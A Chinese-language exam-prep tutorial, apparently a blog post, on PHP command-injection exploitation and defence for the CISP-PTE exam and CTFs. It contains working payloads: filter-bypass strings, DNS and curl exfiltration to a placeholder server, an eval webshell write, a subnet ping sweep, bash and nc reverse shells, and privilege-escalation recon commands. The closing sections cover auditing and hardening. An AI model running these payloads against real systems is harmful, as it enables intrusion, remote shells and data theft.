1. 为什么CISP-PTE的题型里,命令执行总是绕不开
先交代一下背景。CISP-PTE(注册信息安全专业人员-渗透测试工程师)的实操考试里,命令执行几乎属于"必选题"级别的考点。你翻历年真题和模拟题就会发现,不管题目怎么换皮——换成文件上传、换成SQL注入、换成任意文件读取——最后大概率都会拐到"你能不能通过这个入口执行系统命令"这一步。所以这个点不是单纯背几个函数就能过关的,它考察的是你从"发现入口"到"拿到结果"的完整链路思维。
我接触这个科目这么多年,还带过几期备考的学员,有个很深的感受:命令执行的题目,初级选手靠system($_GET['cmd'])这类一眼能看穿的代码拿分,中段选手会做简单的过滤绕过,真正能拉开差距的,是后面这几件事:
- 面对多种不同的命令执行函数(system、exec、shell_exec、passthru、popen),知不知道它们各自的回显机制差异;
- 在过滤规则复杂、甚至没有回显的情况下,能不能把命令"送进去"并且把结果"带出来";
- 能不能把命令执行和服务器上已有的文件读写能力联动起来,做更深入的操作。
本篇作为"命令执行"系列的第8讲,我打算把这几块内容掰开揉碎讲一遍。不堆理论,全部按我在靶场、考试模拟和真实授权测试里用过的方式来讲。如果你是正在备考CISP-PTE的学员,或者准备打CTF想补一下命令执行短板的,这篇应该能让你少走不少弯路。
先立个原则:所有演示都基于本地搭建的靶场环境或CTF赛题环境,做的是授权范围内的测试。命令执行这个能力本身是双刃剑,用在授权的渗透测试和比赛里是技能,用在别的地方就是另外一回事了。这个边界心里要有数。
2. 核心函数逐个拆:回显机制决定了你后续的打法
2.1 五个高频函数的执行与回显差异
PHP环境下命令执行的入口函数很多,但CISP-PTE和CTF里反复出现的,基本就是下面这几个。它们对命令的执行方式相同,但对输出结果的处理方式差异很大,这直接决定了你能不能"看到"命令执行的结果。
我整理了一张对比表,先有个整体印象:
| 函数 | 是否回显 | 返回值 | 典型使用场景 |
|---|---|---|---|
| system() | 直接输出最后一行的执行结果 | 返回最后一行字符串 | 有回显,最简单直接 |
| exec() | 不回显 | 返回最后一行,其余存入数组中 | 单条命令的最后结果 |
| shell_exec() | 直接输出全部输出 | 返回完整输出(无输出时返回NULL) | 有回显,适合ls、cat等 |
| passthru() | 直接输出原始二进制输出 | 返回最后一行状态码 | 需要输出二进制内容时 |
| popen() | 不回显 | 返回一个文件指针 | 需要分步读取输出时 |
这里面有个常见误区:很多人以为exec()和shell_exec()是一回事。实际上它们对回显的处理完全不一样。exec()默认不直接输出内容,你必须在代码里写echo exec("ls");才能看到结果;而shell_exec()则是直接把所有输出作为返回值交给你,你只要echo shell_exec("ls");就能看到完整输出。
考试里经常出现一种情况:代码用的是exec()但没写echo,这时候你执行ls什么也看不到,但命令其实已经执行了。很多新手会误判"这里没有命令执行漏洞",其实漏洞存在,只是回显被吞了。这种情况下的判断方法我下一节会说。
2.2 passthru在CTF和渗透中的特殊价值
关键词里提到的passthru,值得单独拎出来讲。这个函数在CTF里出现频率很高,因为它有一个其他函数不具备的特点:它会将命令的原始输出直接传递给浏览器,不做任何逐行处理,特别适合输出二进制数据。
举个例子。假设目标代码是:
<?php if (isset($_GET['cmd'])) { passthru($_GET['cmd']); } ?>这时候你传?cmd=cat /flag,flag的文本内容会原样输出,和system()差别不大。但如果你需要读取的是一个二进制文件,或者执行完命令后需要保留输出中的特殊字符(比如空字节、非UTF-8编码内容),passthru就比system()稳得多。CISP-PTE的题目里,偶尔会设计一个"flag藏在文件内容中间、前后有大量干扰字符"的场景,用passthru直接看原始输出会比system()经过缓冲区处理后的输出更容易分析。
还有一个实际场景:当你需要通过命令执行去访问内网服务时,比如curl http://192.168.x.x,返回的可能是一个HTTP响应头 + 二进制响应体。这时候用passthru("curl ..."),输出原样给你,你要解析什么都很方便。而用exec()的话,返回的是字符串数组,遇到包含空字符的内容会被截断。
2.3 无回显情况下的存活判断三板斧
命令执行题目最恶心的情况就是"盲执行"——你知道命令被执行了,但页面上看不到任何输出。CISP-PTE的题里虽然这种情况不多,但真出现了,你要有判断手段。
我的经验是三步走:
第一步:延时探测。执行sleep 5,然后看HTTP响应时间有没有明显拉长。如果请求耗时从几百毫秒变成5秒以上,说明命令确实被执行了。这是最基础也是最可靠的判断方式。
# 如果目标执行的是 system($_GET['cmd']),访问: ?cmd=sleep 5第二步:DNSLog外带。在盲执行环境下,想确认自己能执行命令但不能确认输出内容时,可以用外部请求作为"信鸽"。比如:
# 用 ping 或 curl 向自己的接收端发起请求 ?cmd=ping `whoami`.your-dnslog-domain.com或者更通用一点:
?cmd=curl http://your-server/`whoami`如果你在自己的服务器上收到了带用户名信息的请求,就能确定两件事:命令能执行,并且你能通过这种方式把敏感信息带出来。
第三步:写入文件判断。在web根目录下用echo写一个内容已知的文件,然后直接通过浏览器访问它。比如:
?cmd=echo "ping_ok_123" > /var/www/html/ping_test.txt然后浏览器访问http://target/ping_test.txt,看到ping_ok_123就说明命令执行成功。这个方法在实战中尤其好用,因为它不依赖额外的外部服务,而且后续还能用来写webshell,一举两得。
这三步按顺序做完,基本能确定盲执行环境下命令执行漏洞是否真实存在、你能控制到什么程度。
3. 过滤规则下的绕过:从空格到关键字的层层博弈
3.1 空格被过滤时的替代方案
CISP-PTE的题目不会让你一直舒舒服服地用空格。最常见的第一道关卡,就是过滤空格。很多代码会写成preg_match('/\s/', $cmd),直接把空白字符全部干掉。这时候如果还按常规写法cat /flag,命令就起不来。
Linux下替代空格的思路其实不少,我按优先级排列:
${IFS}:这是内部字段分隔符,在bash里可以用它代替空格。cat${IFS}/flag等价于cat /flag。- tab键(%09):URL编码后的
\t有时候能绕过只过滤空格的规则。cat%09/flag在部分环境下能生效。 $IFS$9:这个是${IFS}的变体,$9是位置参数,在命令解释时会被解析成空字符串,把$IFS和空字符串拼起来用,在一些过滤不严谨的情况下也能奏效。- 重定向符
<:cat</flag这种方式利用的是shell的重定向特性,把文件内容作为标准输入喂给cat,中间不需要空格。
举个例子,如果过滤规则是:
$cmd = preg_replace('/\s+/', '', $_GET['cmd']);那么?cmd=cat${IFS}/flag就能绕过。实测下来,大部分只过滤空白的题目用${IFS}就够了,<重定向在某些PHP环境下执行效率更高,因为它完全避开了对命令参数的解析。
3.2 关键字被过滤后的拼接、编码与通配符
空格之后的下一个关卡通常是关键字。比如过滤cat、flag、ls这些词。面对这种情况,我有几套方案可以轮换着试。
方案一:shell拼接。把命令拆成多个部分,让过滤规则检测不到完整关键词:
# 用双引号拼接 ?cmd=c""at /flag ?cmd=c'a't /flag # 用反斜杠转义拆开 ?cmd=ca\t /flag原理很简单:过滤规则做的是字符串匹配,而shell在执行命令时会自动去掉引号和反斜杠,把c""at还原成cat。
方案二:环境变量截取。利用bash环境变量做子串拼接。这个方法比较进阶,适合关键词过滤很严格的情况。比如:
# /?cmd=${PATH:0:1}at # PATH的第一个字符是/,配合at拼成? 不,这样不对,换个写法实际常用的例子是:
?cmd=$(echo Y2F0IC9mbGFn | base64 -d)Y2F0IC9mbGFn是cat /flag的base64编码。先用echo输出这段编码,再用base64 -d解码成真正的命令,shell再去执行。这种方式能绕过几乎所有基于关键词匹配的过滤,因为过滤规则看到的是echo、base64这些"人畜无害"的单词。
方案三:通配符模糊匹配。用*、?等通配符让过滤规则匹配不到具体文件名:
# 读取 /flag 文件 ?cmd=cat /f* ?cmd=cat /fl?g这里有个技巧:/f*能匹配到/flag,/fl?g用问号占了一个字符位。注意通配符是在shell层面展开的,所以同样能绕过基于字符串匹配的过滤器。
3.3 长度限制场景下的分段写入与拼接执行
这类题目在CTF里特别经典,CISP-PTE近年也有往这个方向出题的趋势。限制条件五花八门:有的限制URL总长度,有的直接在代码里限制$_GET['cmd']不能超过某长度。
长度受限时,核心思路是"分段写入,最后执行"。我常用的套路是这样:
假设目标只能执行很短的命令,比如最多15个字符。直接cat /flag都放不下,但你可以分两步:
第一步,把需要的命令片段写入一个文件。比如:
?cmd=echo 1 > /tmp/a第二步,继续往文件里追加内容:
?cmd=echo cat >> /tmp/a ?cmd=echo " /flag" >> /tmp/a最后:
?cmd=sh /tmp/a这里的sh /tmp/a会逐行执行文件里的命令,等于把完整命令通过文件拼接了出来。还有个更精简的变体,利用ls -t加>的组合,把写有命令的文件名按时间排序后拼接执行,这是CTF里非常著名的短命令技巧,原理类似,不展开了。
我实测下来的感受是:长度限制题拿到手先别急着想办法缩短命令,而是先判断有没有可写的临时目录、能不能写文件。大多数情况下,答案都藏在"利用服务器自己的文件系统作为中转"这个思路上。
3.4 过滤规则针对的是命令还是参数:一个容易被忽略的分歧
这个点我觉得值得单独讲,因为很多人做题时卡住是因为没区分清楚过滤发生在哪一层。有些过滤规则只匹配"命令关键字"(比如cat、ls),但它不管参数;而有些规则会把参数也一起过滤。
举个例子,如果目标是ls -la /tmp,规则只过滤了ls,那你可以用/bin/ls -la /tmp直接绕过——因为过滤规则没识别出/bin/ls这个完整路径也算"ls命令"。反过来,如果规则把/tmp作为关键字过滤了,那你就得想别的办法读取路径,比如用cd /tmp && ls或者用通配符代替。
判断过滤到什么程度,最好的办法是逐个字符、逐个关键字去试探。这不是什么高深技巧,但很管用:
- 先试
ls,看是否被过滤; - 再试
ls /tmp,看是只有ls被过滤还是整串被过滤; - 再试
ls /tm*,看通配符是否可用。
每试探一步,你都能收集一条关于过滤规则的边界信息。这些信息拼在一起,就是绕过方案的地图。
4. 并行执行、管道协作与数据外带的进阶姿势
4.1 并行执行Linux命令的几种方式与适用场景
命令执行漏洞里,"并行执行"这个词听起来很高端,其实就是利用shell语法一次性执行多条命令。但多条命令之间的关系不同,结果差异巨大。我见过不少新手在这里栽跟头,所以展开讲讲。
顺序执行:分号;。不管前一条命令成不成功,后一条照常执行。适合你确认第一条会报错但还想继续执行后续命令的场景。
?cmd=whoami;cat /flag条件执行:&&与||。&&只有前一条成功才执行后一条,||相反,前一条失败才执行后一条。这在需要逻辑判断时很关键。比如你只想在确定当前用户是root时才读取某个文件:
?cmd=id|grep root&&cat /flag注意这里的组合——管道|把id的输出交给grep,grep匹配到root后返回成功,&&后面的cat /flag才执行。这套组合在实战里能帮你"智能化"地选择执行路径。
并行后台执行:&。在命令末尾加&会让命令在后台执行,命令提示符立即返回。这在长耗时命令的场景里很有用。比如:
?cmd=sleep 100&这条命令会让服务器后台睡100秒,但页面不会一直卡着。它和sleep 100(不带&)的响应时间表现完全不同。之前说的延时探测,注意别把&和;搞混——sleep 100&不会让HTTP响应变慢,而sleep 100;才会。
超时控制:timeout命令。这个不算并行,但经常配合使用。当你担心执行的命令可能卡死(比如读取一个特殊文件),可以用timeout 5 cat /flag来限制5秒执行时间,避免把靶机或测试环境拖死。
把这些组合起来,你可以构造出很高效的一次性探测命令。下面是我在授权测试环境下常用的一组"一条命令拿全信息"的写法:
?cmd=id;uname -a;cat /etc/passwd|head -5;ls -la /tmp这条命令用分号串联了四个探测步骤,一次请求就能看到用户身份、系统内核、用户列表、临时目录四个维度的信息。在CTF里,这样一条命令往往能帮你快速判断后续往哪个方向走。
4.2 命令执行与文件读写联动:写Shell与读配置
命令执行漏洞的价值不在"能执行命令"本身,而在你能不能把它延伸到"拿下整个服务器"。最典型的延伸路径就是写webshell、读敏感配置。
写webshell。假设目标是PHP环境,你确认了web根目录路径(比如/var/www/html),那么:
?cmd=echo "<?php @eval(\$_POST['x']);?>" > /var/www/html/shell.php这句的要点是$_POST里的$符号在传参时要小心。在URL里直接传$_POST会把变量展开成空值,正确的姿势是对$做转义——用单引号包住PHP代码,或者用\转义。上面例子我用的是\$,这样写进文件后才是完整的$_POST。
写完访问http://target/shell.php,再用POST工具提交x=phpinfo();验证,能出结果就说明webshell存活。
读数据库配置文件。命令执行后最想拿的往往不是web目录里的文件,而是数据库连接信息。典型路径:
/var/www/html/wp-config.php(WordPress站点)/var/www/html/config.php(常见PHP框架)/etc/nginx/nginx.conf(Nginx配置,能间接发现更多服务)
?cmd=cat /var/www/html/config.php拿到数据库账号密码后,下一步就能连数据库了。在CISP-PTE的题目设计里,经常会出现"目标站内网还有一个MySQL服务,需要通过命令执行去探测和连接"的场景,这时候上面这套联动思路就是完整的解题路径。
内网横向探测。命令执行后,你用ifconfig或ip addr能看清楚当前机器在内网的IP,接着可以用for循环快速扫一下同网段还开了哪些端口:
?cmd=for i in $(seq 1 254); do (ping -c 1 192.168.1.$i &> /dev/null && echo "host 192.168.1.$i alive"); done这条命令用for循环配合&&判断存活主机,一次跑完能发现同网段的活跃机器。考试场景下不一定用得上,但理解这个思路对后续做内网题很有帮助。
4.3 反弹Shell与交互环境的搭建
命令执行最后的高阶操作就是反弹shell。拿到交互式shell之后,你才真正拥有"人坐在服务器终端前"的操作能力。反弹Shell的原理一句话说清楚:目标服务器主动连回你的监听端口,把shell的输入输出接到你这个端口上。
我常用的方式是:
前提:你的VPS或本机(有公网IP或能与靶机互通)上先开监听:
nc -lvnp 4444目标机执行反弹命令:
?cmd=bash -i >& /dev/tcp/你的IP/4444 0>&1注意这里有个常见的坑:如果页面过滤了空格或特殊字符,反弹命令要跟着一起绕过。比如用${IFS}替代空格:
?cmd=bash${IFS}-i${IFS}>&/dev/tcp/你的IP/4444${IFS}0>&1还有个小技巧,当bash反弹被限制时,可以用nc反弹:
?cmd=nc 你的IP 4444 -e /bin/bash不过新版netcat很多不带-e参数,这时候就要靠管道接力:
?cmd=nc 你的IP 4444 | /bin/bash | nc 你的IP 4445这个写法需要你在本机开两个监听端口,一个接收输出,一个发送输入,本质上是把nc和bash串成一条双向通道。
反弹Shell拿到后,第一件事是python -c 'import pty; pty.spawn("/bin/bash")'升级成交互式shell,否则你没法用vim、没法用需要tty的程序,操作效率会低很多。
在CISP-PTE考试里,反弹Shell不一定每次都需要,但如果你遇到的是一个给了你命令执行但没有任何图形界面的Linux靶机,能快速拉起一个交互式shell,后面的题目操作会舒服很多。
5. 攻防视角切换:怎么发现和修复命令执行漏洞
5.1 高危函数审计清单
前面讲的全是"怎么利用",但作为一个从业者,尤其是备考安全工程师方向的人,你还得会反过来看——怎么在代码里发现并修复这类问题。CISP-PTE考试内容里也有代码审计的部分,命令执行漏洞的审计是最常考的。
我整理过一个审计时需要重点搜索的危险函数清单:
| 语言 | 危险函数/方法 |
|---|---|
| PHP | system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec |
| Java | Runtime.getRuntime().exec, ProcessBuilder |
| Python | os.system, os.popen, subprocess.call, subprocess.Popen, eval |
| Node.js | child_process.exec, child_process.spawn, eval |
| 通用 | eval, assert, 动态调用相关 |
审计时的关键不是搜出这些函数就完事,而是要判断用户输入是否有可能流进这些函数的参数。我通常按这个逻辑链去走:
- 找到危险函数;
- 回溯它的参数来源,看是否直接使用了
$_GET、$_POST、$_REQUEST等超全局变量; - 看中间有没有经过过滤、白名单、类型转换;
- 判断过滤规则是否可以绕过(比如只过滤了
cat没过滤/bin/cat)。
只要第四步答案是"能绕过",那这个漏洞就成立。
5.2 白名单与黑名单:为什么黑名单思路不可靠
命令执行漏洞的修复,最忌讳的是"黑名单过滤"。我见过很多开发者写这样的代码:
$cmd = $_GET['cmd']; $blacklist = array('cat', 'ls', 'flag', ';', '&', '|'); foreach ($blacklist as $word) { if (strpos($cmd, $word) !== false) { die('forbidden'); } } system($cmd);这种做法的核心问题在于:黑名单永远列不全。攻击者有十几套绕过手法(本文前面就列了五六套),但开发者只能防住自己想到的那几种。今天你封了cat,明天他用tac(反着读文件)照样能读;你封了flag,他用/f*通配符绕。
真正有效的修复方案是白名单和严格限制参数形态:
- 方案A:对命令做白名单限定。只允许执行预设的少数几个命令,参数也做严格正则校验。比如只允许
ping和traceroute,参数只允许IP地址格式。这是最稳的。 - 方案B:用
escapeshellarg()/escapeshellcmd()转义。PHP提供的这两个函数能在一定程度上转义shell特殊字符,但注意它们不是万能的,仍有绕过空间,只能作为加固手段而非唯一防线。 - 方案C:避免直接调用shell。如果业务需要的是某个具体功能(比如查个系统时间、读个配置文件),用PHP内置函数去实现,而不是拼命令丢给system。
5.3 纵深防御:最小权限与容器隔离
修复一个命令执行漏洞,永远不只是"修补那行代码"这么简单。特别是渗透测试人员在报告里给出建议时,要站在纵深防御的角度写全。
一是最小权限原则。就算Web应用被攻破,如果应用进程是以低权限用户(比如www-data)运行的,攻击者拿到的命令执行环境也是低权限的,很多操作(改root密码、读只有root能读的文件)就做不了。很多靶机让你一拿到命令执行就是root,那是为了教学方便,真实环境很少这样。
二是禁用危险函数。PHP环境里,可以在php.ini的disable_functions里加入system,exec,shell_exec,passthru,popen,proc_open这些函数。这是很多安全加固基线里的标准操作。CISP-PTE相关的知识体系里也会提到这个点,考试可能会出现让你判断"服务器上哪些函数被禁用会影响命令执行利用"的题目。
三是网络隔离。即使攻击者拿到了目标web服务器的命令执行权限,如果出网被限制(不能主动连外部IP)、内网被分成多个网段且有防火墙策略,攻击者能做的大规模横向移动就会受限。你在题目里做的反弹Shell、DNSLog外带,本质上都是在和这些防线博弈。
6. 考试与实战中值得记住的几条实战心得
6.1 拿到命令执行入口后的标准操作顺序
CISP-PTE实操考试时间有限,不可能让你在命令执行上磨蹭半天。我给自己定的标准顺序是:
- 确认漏洞存在:先传个
id,看回显。有回显直接往下走,没回显用延时探测或DNSLog确认。 - 确认我是谁:
id、whoami、pwd、hostname,四个命令一次搞定。这决定了你后面的操作权限边界。 - 确认网络位置:
ifconfig、route -n,判断当前机器能不能访问其他网段,这对接下来的内网题很重要。 - 找flag的位置:CISP-PTE题的flag一般放在
/root/flag、/flag、/var/www/html/等位置。如果目标机器上没有现成的flag,很可能你要通过命令执行配合文件读取去数据库备份或配置文件里找出目标系统的明文密码,再登录进去拿flag。 - 尝试提权与深入:如果flag不在当前权限能读到的地方,就要考虑
find / -perm -4000 -type f找SUID程序、sudo -l看当前用户有哪些sudo权限、检查Cron任务有没有以root运行的脚本可以写入。这些是提权的常规路子。
6.2 我记忆里最实用的20条探测命令
删减版,都是高频使用的。建议备考时把这些记熟,考场上直接打:
id # 当前用户 whoami && hostname # 身份和主机名 uname -a # 内核版本 cat /etc/issue # 系统发行版 ifconfig / ip addr # 网络信息 cat /etc/passwd | head -20 # 用户列表 ls -la / # 根目录概况 find / -name "*.txt" 2>/dev/null | head -20 # 找文本文件 env # 环境变量,可能有数据库密码 cat /etc/crontab # 计划任务 sudo -l # 当前用户sudo权限 find / -perm -4000 2>/dev/null # SUID程序 netstat -anpt # 当前网络连接 ps aux | head -30 # 运行进程 history # 历史命令 cat ~/.bash_history # 历史命令备份这些命令组合起来,基本上10分钟能从一台陌生机器上收集到足够判断下一步方向的信息。考场上时间紧,与其现想命令,不如提前背熟这一套。
6.3 做题时最反直觉的几个坑
最后分享几个我在实际做题和带学员过程中遇到的"反直觉但很真实"的坑。
第一个坑:命令执行成功但页面没任何变化,不代表失败。前面提到过,exec()没写echo、命令输出被重定向、输出里有非法字符被浏览器解析掉,都可能导致"看不到结果"。这时候别急着换函数或换命令,先用延时探测或者写文件的方式确认一下执行状态。
第二个坑:URL编码和shell转义经常搞混。在浏览器或Burp里传命令时,空格要编码成%20,&要编码成%26,#要编码成%23,不然会被URL解析器提前截断。而到了shell层面,单引号、双引号、反斜杠又有另一套转义规则。新手经常在这一层翻车:明明命令没问题,传进去却变了样。我的习惯是先在Burp的Repeater里测,编码完再往漏洞点里放,这样能清晰地看到请求的实际内容。
第三个坑:过滤规则针对的是"提交的字符串"而不是"最终执行的命令"。这一点在拼接绕过那节提过,但值得再强调一次。过滤规则是基于原始字符串做匹配的,所以你能用引号拆分、反斜杠、环境变量拼接、base64解码这些手段让"最终执行的命令"和"提交的字符串"完全不同。理解了这一层,你就不会再被简单的黑名单挡住。
第四个坑:考试环境的目标机器可能被前面的人搞坏了。在某些公开靶场刷题时遇到过,别人把flag位置改了、把临时目录写满了、甚至把防火墙规则改了。这时候不要慌,先重置环境,或者换个思路不要太依赖既定路径。多准备几条备用方案总没错。
7. 收尾的几句实在话
写到这里,"命令执行"这个专题的第8讲就差不多说透了。从函数差异到绕过手法,从并行执行到反弹Shell,从攻击利用到防御修复,这套知识在CISP-PTE考试里是一条完整的主线,在真实授权渗透测试里也是使用频率最高的技能之一。
我个人带学员时的体会是,命令执行这个点,听课看文章容易,实际动手才是分水岭。建议你拿到这篇文章后,在本地搭一个简单的PHP靶场(十几行代码就能搭起来),把我上面讲到的每种绕过手法都亲手试一遍,试到不用翻文章也能默写出来的程度。考场上遇到命令执行的题,你就能把注意力放在"flag藏在哪"这个真正的问题上,而不是浪费在"哎呀空格被过滤了怎么搞"这种基础环节。
最后再说一次边界:所有技术演示,请务必在授权的靶场环境、CTF赛题环境或自己搭的实验环境里操作。掌握命令执行为的是更好地发现和修复漏洞,而不是别的。祝备考顺利。